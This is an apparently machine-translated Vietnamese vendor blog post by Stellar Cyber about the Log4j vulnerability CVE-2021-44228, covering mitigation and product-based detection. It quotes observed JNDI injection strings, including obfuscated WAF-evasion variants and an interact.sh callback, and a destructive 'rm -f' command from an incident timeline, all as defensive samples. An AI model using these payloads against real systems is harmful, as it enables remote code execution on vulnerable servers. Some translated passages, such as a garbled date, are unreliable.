Stellar Cyber: Phát hiện lỗ hổng và khai thác Log4j

Albert Zhichun Li

1. Giới thiệu

Trong vài ngày qua, một lỗ hổng Log4j nghiêm trọng (CVE-2021-44228, CVE-2021-45046) đã gần như dẫn đến một cơn bão hoàn hảo trong thế giới Internet. Là một tiện ích ghi nhật ký Java được sử dụng rộng rãi với lỗ hổng dễ bị khai thác, Log4j chắc chắn đã khiến các chuyên gia và công ty CNTT lo lắng và nhiều câu hỏi đã được đặt ra - Lỗ hổng này là gì? Làm thế nào tôi có thể biết liệu hệ thống của chúng tôi có dễ bị tấn công hay không? Cơ sở hạ tầng CNTT của tôi đã bị vi phạm chưa? Tôi có thể làm gì để ngăn chặn các cuộc tấn công trong tương lai tận dụng lỗ hổng này?

Tại Stellar Cyber, chúng tôi đã theo dõi chặt chẽ tình hình và chúng tôi ở đây để cung cấp các bài học kinh nghiệm cũng như lời khuyên cho các khách hàng và đối tác hiện tại và tương lai của chúng tôi khi họ vượt qua những bất ổn do lỗ hổng Log4j này mang lại.

2. Tác động và giảm thiểu

Theo CVE-2021-44228, bất kỳ Apache Log4j2 nào trước v2.15.0 đều bị ảnh hưởng bởi lỗ hổng bảo mật do nội suy chuỗi không được kiểm tra với Đặt tên và giao diện thư mục Java (JNDI) tra cứu. Kẻ tấn công có kiến ​​thức để đưa dữ liệu vào thông điệp nhật ký có thể tạo và đưa vào biểu thức nội suy JNDI có định dạng đặc biệt để tải và thực thi mã tùy ý từ điểm cuối JNDI được chỉ định (ví dụ: máy chủ LDAP) khi biểu thức nội suy được Log4j đánh giá.

Tác động của lỗ hổng này dự kiến ​​sẽ rộng rãi do Log4j được sử dụng rộng rãi trong nhiều ứng dụng phần mềm phổ biến và khả năng khai thác dễ dàng của nó. Cộng đồng bảo mật đã theo dõi các trang web, phần mềm, thành phần nguồn mở và các nhà sản xuất khác sử dụng Log4j và xác nhận rằng một số công ty thương hiệu lớn dễ bị tổn thương.

Để giảm thiểu lỗ hổng này, chúng tôi khuyên khách hàng và đối tác của mình cập nhật Log4j hiện có của họ lên v2.15.0, trong đó hành vi liên quan đến JNDI bị tắt theo mặc định. Nếu nâng cấp ngay lập tức không phải là một tùy chọn, thì một biện pháp giảm thiểu khác là đặt thuộc tính hệ thống log4j2.formatMsgNoLookups đến đúng (áp dụng cho v2.10 +) hoặc để xóa JndiTra cứu lớp từ classpath (áp dụng cho Log4j trước v2.10 qua zip -q -d log4j-core - *. jar org / apache / logging / log4j / core / lookup / JndiLookup.class).

Ngoài ra, chúng tôi khuyên khách hàng và đối tác của chúng tôi nên cập nhật Java hiện tại của họ lên ít nhất phiên bản 6u211, 7u201, 8u191 hoặc 11.0.1 trong đó tính năng tải lớp từ xa JNDI bị tắt theo mặc định.

Đối với các ứng dụng phần mềm cụ thể sử dụng Log4j và bị ảnh hưởng bởi lỗ hổng này, vui lòng liên hệ với nhà cung cấp phần mềm để áp dụng bất kỳ bản vá lỗi thích hợp nào càng sớm càng tốt.

3. Chi tiết kỹ thuật

In CVE-2021-44228, có hai phần thiết yếu và có liên quan tạo thành lỗ hổng bảo mật: Đặt tên và giao diện thư mục Java (JNDI) với chức năng gọi phương thức từ xa và Log4j hỗ trợ nội suy nhật ký với tra cứu JNDI.

Đặt tên và giao diện thư mục Java (JNDI, Hình 1) là một tính năng cổ nhưng vẫn hữu ích có từ Java 2 v1.3. Nó cung cấp chức năng đặt tên và thư mục cho các ứng dụng Java, vì vậy một ứng dụng có thể gọi thông qua JNDI các nhà cung cấp dịch vụ khác nhau như phương thức đăng nhập trực tiếp Lightweight (LDAP). Ví dụ: một ứng dụng Java có thể chuyển một URL ldap: // some-ldap-server: 389 / o = SomeObjectID thông qua JNDI đến máy chủ LDAP được hỗ trợ một số-ldap-máy chủ để tìm và gọi một đối tượng từ xa Một số đối tượng.

Hình 1. Kiến trúc đặt tên và giao diện thư mục Java (JNDI)
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)

trên Log4j bên, hỗ trợ tra cứu JNDI lần đầu tiên được giới thiệu trong v2.0 vào năm 2013 theo yêu cầu của người dùng về các tính năng ghi nhật ký phức tạp. Kể từ đó, Log4j đã cho phép các nhà phát triển sử dụng nội suy chuỗi với JNDI trong các thông báo nhật ký. Ví dụ, một người có thể viết logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")Log4j sẽ đánh giá biểu thức nội suy và gọi JNDI tương ứng để truy xuất dữ liệu cấu thành thông điệp nhật ký từ một máy chủ từ xa.

Cuối cùng, tám năm sau vào ngày 30 tháng 2021 năm XNUMX, log4j nhóm đã được nhận thức lỗ hổng thực thi mã từ xa do kết hợp nội suy nhật ký với tra cứu JNDI. Một tuần sau, gần như tất cả mọi người trong cộng đồng bảo mật và ngành công nghệ thông tin nhận được thông báo và bắt đầu hoang mang theo cách này hay cách khác.

Hậu quả của lỗ hổng này sẽ đặc biệt tồi tệ không chỉ vì Log4j được sử dụng quá rộng rãi, mà còn vì mọi người đã sử dụng Log4j theo cách quá hoàn hảo và quá dễ dàng để những kẻ tấn công khai thác.

Như chúng ta có thể thấy từ ví dụ nói trên về logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), để khai thác thành công lỗ hổng này, kẻ tấn công cần biết loại dữ liệu được tiêm vào cuối cùng sẽ được ghi lại ở đâu đó bởi hệ thống nạn nhân sử dụng Log4j. Trên thực tế, đó là một kết quả thấp đối với bất kỳ kẻ tấn công nào không quen thuộc với các ứng dụng dựa trên mạng hiện đại, trong đó có một phương pháp phổ biến là ghi lại mọi yêu cầu bao gồm URL, chuỗi truy vấn và tác nhân người dùng của nó.

Tại Stellar Cyber, chúng tôi đã theo dõi các nỗ lực khai thác được thực hiện đối với khách hàng và đối tác của chúng tôi trong tuần qua. Phát hiện bất thường tác nhân người dùng được hỗ trợ bởi máy học của chúng tôi đã phát hiện các chuỗi tác nhân người dùng bất thường như:

  • ${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}

Trong số các mẫu đó, chúng tôi thấy rằng những kẻ tấn công đã và đang điều tra các cách khác nhau để khai thác lỗ hổng - không chỉ bằng cách sử dụng dạng vani mà còn bằng cách đưa ra các biến thể khác nhau để trốn tránh Tường lửa ứng dụng web dựa trên quy tắc cố gắng khớp ${jndi:ldap*.

Mặc dù chưa có trường hợp nào được biết đến trong đó những kẻ tấn công khai thác lỗ hổng bảo mật và gây ra hậu quả nghiêm trọng, nhưng điều đáng chú ý là ngay cả một cuộc thăm dò đơn giản, chẳng hạn như nỗ lực khai thác lỗ hổng bảo mật. với DNSLog để thăm dò xem liệu một hệ thống mục tiêu có dễ bị tấn công hay không, vẫn có thể gây hại vì những kẻ tấn công có thể đang thu thập các tài sản trong tương lai vào lúc này.

4. Stellar Cyber ​​có thể trợ giúp như thế nào

Tại Stellar Cyber, chúng tôi cung cấp nhiều công cụ cho khách hàng và đối tác của mình để chống lại các cuộc tấn công khai thác CVE-2021-44228.
Thông qua nhà cung cấp thông tin tình báo về mối đe dọa của chúng tôi, Stellar Cyber ​​Security Sensor (SDS) đã có chữ ký cập nhật để phát hiện các hành vi khai thác điển hình của CVE-2021-44228.

4.1 Cảnh báo sao về phát hiện khai thác

Chúng tôi hiện cung cấp các loại cảnh báo sau để phát hiện chữ ký IDS mới hoặc số lượng chữ ký IDS tăng đột biến:

  • - Sự bất thường về khai thác từ công khai sang tư nhân
  • - Bất thường về khai thác công khai đối với tư nhân
  • - Riêng tư với Khai thác cá nhân Bất thường
  • - Bất thường về Khai thác Công khai

Vui lòng xem các cảnh báo này với "log4j" trong mô tả cảnh báo hoặc ids.signature trường.

4.2 ATH để theo dõi các chữ ký Apache Log4j đã khớp

Nếu bạn muốn theo dõi tất cả các trường hợp chữ ký Apache Log4j phù hợp, bạn có thể cân nhắc việc tạo các quy tắc sau (Thận trọng: nó có thể tạo ra một số lượng lớn các cảnh báo):

  • - Tìm kiếm Sự kiện ML-IDS / Malware Sandbox lập chỉ mục với truy vấn ids.signature: log4j.

4.3 Trinh sát URL và phát hiện bất thường tác nhân người dùng

Với những kẻ tấn công đang khám phá các dạng khai thác khác nhau, tính năng phát hiện bất thường do AI của chúng tôi cung cấp (Hình 2) cũng giúp phát hiện các nỗ lực gián tiếp hoặc bất thường.

Chúng tôi nhận thấy một số nỗ lực gián tiếp từ tính năng Phát hiện bất thường do thám URL với Log4j trong một phần URL để khai thác lỗ hổng bảo mật thông qua các ứng dụng web Java. Những nỗ lực như vậy thường liên quan đến việc kẻ tấn công quét các trang để khai thác, dẫn đến số lượng lỗi HTTP 4xx bất thường, lỗi này có thể được phát hiện bằng tính năng Phát hiện bất thường do thám URL.

Vì chuỗi Tác nhân người dùng là một phương tiện khai thác chính theo quan sát của chúng tôi, Phát hiện bất thường Tác nhân người dùng của chúng tôi cũng là một công cụ hữu ích. Nó phát hiện các chuỗi Tác nhân người dùng chưa từng được nhìn thấy trước đây hoặc rất hiếm khi được nhìn thấy, do đó có thể cung cấp khả năng phòng thủ bổ sung trước xu hướng khai thác đang gia tăng.

Tìm kiếm "log4j" trực tiếp trong tất cả các cảnh báo có thể hợp lý. (Thận trọng: đây là một truy vấn rất tốn kém, vui lòng không thử trên dữ liệu thô có thể dẫn đến quá tải hồ dữ liệu.)

Hình 2. Trinh sát URL và phát hiện bất thường tác nhân người dùng

4.4 Tương quan sự cố

Nỗ lực khai thác CVE-2021-44228 có thể chỉ là một hành động duy nhất dẫn đến một cảnh báo duy nhất từ ​​các phát hiện của chúng tôi. Để điều tra thêm và theo dõi các cuộc tấn công tiềm ẩn đang diễn ra liên quan đến Log4j có thể dễ dàng khai thác, chúng tôi cung cấp tính năng Sự cố bổ sung (Hình 3) để so sánh một tập hợp nhiều cảnh báo tương quan và các thực thể cấu thành một cuộc tấn công thống nhất tiềm ẩn (tức là một sự cố) để có khả năng quản lý và hiển thị bảo mật tốt hơn. Chúng tôi sử dụng khả năng học máy để tự động tạo ra các sự cố, nhóm các cảnh báo liên quan thành một sự cố thống nhất để cải thiện giải pháp tấn công.

Hình 3. Tương quan sự cố của Stellar Cyber

Như chúng ta có thể thấy trong Hình 4, hiển thị một chế độ xem dòng thời gian chi tiết của một sự cố với CVE-2021-44228 khai thác, Tương quan sự cố của chúng tôi tự động đặt ba cảnh báo có tương quan cao từ ba phát hiện khác nhau được sắp xếp theo thứ tự vào thời điểm chúng xảy ra: đầu tiên là sự bất thường của Tác nhân người dùng trong đó kẻ tấn công cố gắng đưa một chuỗi Tác nhân người dùng độc hại từ 10.11.191.95 đến 10.11.190.88, tiếp theo là một quá trình sinh sản bất thường được phát hiện vào ngày 10.11.190.88 và kết thúc bằng một lệnh bất thường thực hiện một lệnh nguy hiểm xargs -r -0 rm -f.

Hình 3. Tương quan sự cố của Stellar Cyber

5. Kết luận

Trong bài đăng này, chúng tôi đã chia sẻ những điều chúng tôi làm được về CVE-2021-44228 và đã đưa ra lời khuyên cho các khách hàng và đối tác hiện tại và tương lai của chúng tôi, đồng thời chúng tôi cũng đã chỉ ra cách Stellar Cyber ​​có thể giải cứu trong khoảng thời gian không chắc chắn này. Lời nhắc cuối cùng, hãy nhớ vá và cập nhật bất kỳ phần mềm nào bị ảnh hưởng, bao gồm Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).

Di chuyển về đầu trang